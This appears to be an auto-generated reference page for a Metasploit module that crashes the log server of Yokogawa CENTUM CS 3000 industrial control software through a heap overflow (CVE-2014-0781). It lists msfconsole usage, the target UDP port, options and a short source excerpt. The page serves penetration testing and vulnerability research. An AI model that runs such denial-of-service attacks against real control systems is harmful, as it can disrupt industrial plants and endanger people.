Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow - Metasploit


This page contains detailed information about how to use the auxiliary/dos/scada/yokogawa_logsvr metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow
Module: auxiliary/dos/scada/yokogawa_logsvr
Source code: modules/auxiliary/dos/scada/yokogawa_logsvr.rb
Disclosure date: 2014-03-10
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 52302
List of CVEs: CVE-2014-0781

This module abuses a buffer overflow vulnerability to trigger a Denial of Service of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability exists in the handling of malformed log packets, with an unexpected long level field. The root cause of the vulnerability is a combination of usage of uninitialized memory from the stack and a dangerous string copy. This module has been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/dos/scada/yokogawa_logsvr
msf auxiliary(yokogawa_logsvr) > show targets
    ... a list of targets ...
msf auxiliary(yokogawa_logsvr) > set TARGET target-id
msf auxiliary(yokogawa_logsvr) > show options
    ... show and set options ...
msf auxiliary(yokogawa_logsvr) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the dos/scada/yokogawa_logsvr auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/scada/yokogawa_logsvr

msf6 auxiliary(dos/scada/yokogawa_logsvr) > show info

       Name: Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow
     Module: auxiliary/dos/scada/yokogawa_logsvr
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-03-10

Provided by:
  juan vazquez <[email protected]>
  Redsadic <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT  10               yes       Number of packets to send
  RPORT   52302            yes       The target port (UDP)

Description:
  This module abuses a buffer overflow vulnerability to trigger a 
  Denial of Service of the BKCLogSvr component in the Yokogaca CENTUM 
  CS 3000 product. The vulnerability exists in the handling of 
  malformed log packets, with an unexpected long level field. The root 
  cause of the vulnerability is a combination of usage of 
  uninitialized memory from the stack and a dangerous string copy. 
  This module has been tested successfully on Yokogawa CENTUM CS 3000 
  R3.08.50.

References:
  http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf
  https://blog.rapid7.com/2014/03/10/yokogawa-centum-cs3000-vulnerabilities
  https://nvd.nist.gov/vuln/detail/CVE-2014-0781

Module Options


This is a complete list of options available in the dos/scada/yokogawa_logsvr auxiliary module:

msf6 auxiliary(dos/scada/yokogawa_logsvr) > show options

Module options (auxiliary/dos/scada/yokogawa_logsvr):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT  10               yes       Number of packets to send
   RPORT   52302            yes       The target port (UDP)

Advanced Options


Here is a complete list of advanced options supported by the dos/scada/yokogawa_logsvr auxiliary module:

msf6 auxiliary(dos/scada/yokogawa_logsvr) > show advanced

Module advanced options (auxiliary/dos/scada/yokogawa_logsvr):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/scada/yokogawa_logsvr module can do:

msf6 auxiliary(dos/scada/yokogawa_logsvr) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/scada/yokogawa_logsvr auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/scada/yokogawa_logsvr) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.


Here is a relevant code snippet related to the "Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT." error message:

39:	      ])
40:	  end
41:	
42:	  def run
43:	    if datastore['RLIMIT'] < 2
44:	      print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.")
45:	      return
46:	    end
47:	
48:	    # Crash due to read bad memory
49:	    test = [1024].pack("V")             # packet length

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • juan vazquez
  • Redsadic <julian.vilas[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.